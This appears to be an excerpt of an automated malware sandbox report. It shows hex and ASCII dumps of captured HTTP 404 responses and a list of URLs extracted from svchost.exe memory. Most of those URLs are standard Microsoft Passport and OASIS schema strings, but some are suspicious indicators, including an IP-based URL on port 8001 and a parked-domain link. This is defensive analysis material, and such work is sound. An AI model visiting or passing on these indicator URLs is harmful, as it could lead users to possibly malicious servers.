Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 23 Aug 2024 16:43:37 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 23 Aug 2024 16:43:38 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Fri, 23 Aug 2024 16:43:48 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 32 33 20 41 75 67 20 32 30 32 34 20 31 36 3a 34 33 3a 34 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a paddi
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Fri, 23 Aug 2024 16:43:49 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 32 33 20 41 75 67 20 32 30 32 34 20 31 36 3a 34 33 3a 34 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a paddi
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 23 Aug 2024 16:44:05 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 23 Aug 2024 16:44:06 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: svchost.exe, 00000002.00000003.3004451306.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3270757925.0000000000812000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://106.15.137.66:8001/dh/147287063_637385.html
Source: svchost.exe, 00000002.00000003.3004451306.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188535338.00000000008AA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3271693742.00000000008AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://106.15.137.66:8001/dh/147287063_637385.html#index8?d=lyrysor.com
Source: svchost.exe, 00000002.00000002.3272590154.0000000002B12000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://106.15.137.66:8001/dh/147287063_637385.html#index8?d=lyrysor.com0
Source: svchost.exe, 00000002.00000002.3272590154.0000000002B12000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://106.15.137.66:8001/dh/147287063_637385.html#index8?d=lyrysor.comhttp://106.15.137.66:8001/dh/
Source: svchost.exe, 00000002.00000003.3004451306.00000000008F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://106.15.137.66:8001/dh/147287063_637385.htmlindex8?d=lyrysor.com
Source: login[2].htm1.2.drString found in binary or memory: http://InquiryGrid.com/sk-domsale.php?dom=galyqaz.com&eds=YnJva2VyYWdlQHNrZW56by5jb20%3D&_isk_=7444&
Source: svchost.exe, 0000000E.00000003.2559787764.0000017E5C376000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3273166153.0000017E5C394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2568836283.0000017E5C378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3272985921.0000017E5C35F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2570549062.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/STS
Source: svchost.exe, 0000000E.00000002.3272292196.0000017E5BB02000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/STS&lt;/ds:KeyName&gt;&lt
Source: svchost.exe, 0000000E.00000002.3273703225.0000017E5CA6E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/STS&lt;/ds:KeyName&gt;&lt;/ds:KeyInfo&gt;&lt;CipherDat
Source: svchost.exe, 0000000E.00000003.2663854848.0000017E5C378000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
Source: svchost.exe, 0000000E.00000003.2697887745.0000017E5CABB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3272985921.0000017E5C35F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/tb
Source: svchost.exe, 0000000E.00000002.3273809530.0000017E5CAA0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/tb:pp
Source: svchost.exe, 0000000E.00000003.2559787764.0000017E5C376000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2568836283.0000017E5C378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2570549062.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/tbA
Source: svchost.exe, 0000000E.00000002.3271960593.0000017E5BAB4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/tb_
Source: svchost.exe, 0000000E.00000002.3273209037.0000017E5CA00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000000E.00000003.2679979022.0000017E5C383000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2663768290.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2620633015.0000017E5C383000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2663768290.0000017E5C383000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634539675.0000017E5C383000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2
Source: svchost.exe, 0000000E.00000003.2620633015.0000017E5C383000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634539675.0000017E5C383000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-
Source: svchost.exe, 0000000E.00000003.2634539675.0000017E5C383000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secex
Source: svchost.exe, 0000000E.00000003.2495670972.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2663768290.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2496072630.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2619570984.0000017E5C376000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2692163095.0000017E5C375000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2708710682.0000017E5C377000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2459398968.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2620633015.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3273051991.0000017E5C376000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2737884459.0000017E5C374000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2721429609.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2544281210.0000017E5C35A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3273209037.0000017E5CA00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2721838801.0000017E5C375000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2707237589.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2735438447.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2663854848.0000017E5C378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634539675.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2691874635.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 0000000E.00000003.2497798842.0000017E5C30F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2498088928.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2496908758.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2708202972.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2495670972.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2620568756.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2692130813.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2607005185.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2721724752.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2663679549.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2496072630.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2737081538.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2708824809.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2663951879.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2721936085.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2692062029.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2663822263.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2593122356.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2620465897.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2497932591.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2498749154.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAA
Source: svchost.exe, 0000000E.00000003.2620633015.0000017E5C383000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAA
Source: svchost.exe, 0000000E.00000003.2559787764.0000017E5C376000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2570549062.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAA
Source: svchost.exe, 0000000E.00000003.2570549062.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAAA
Source: svchost.exe, 0000000E.00000003.2570549062.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdUHV4ZU
Source: svchost.exe, 0000000E.00000003.2620633015.0000017E5C383000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634539675.0000017E5C383000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdXdgj
Source: svchost.exe, 0000000E.00000003.2707237589.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2691874635.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdes
Source: svchost.exe, 0000000E.00000003.2721429609.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds
Source: svchost.exe, 0000000E.00000003.2620633015.0000017E5C383000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdzun9
Source: svchost.exe, 0000000E.00000003.2721429609.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2735438447.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd~
Source: svchost.exe, 0000000E.00000003.2663768290.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.x
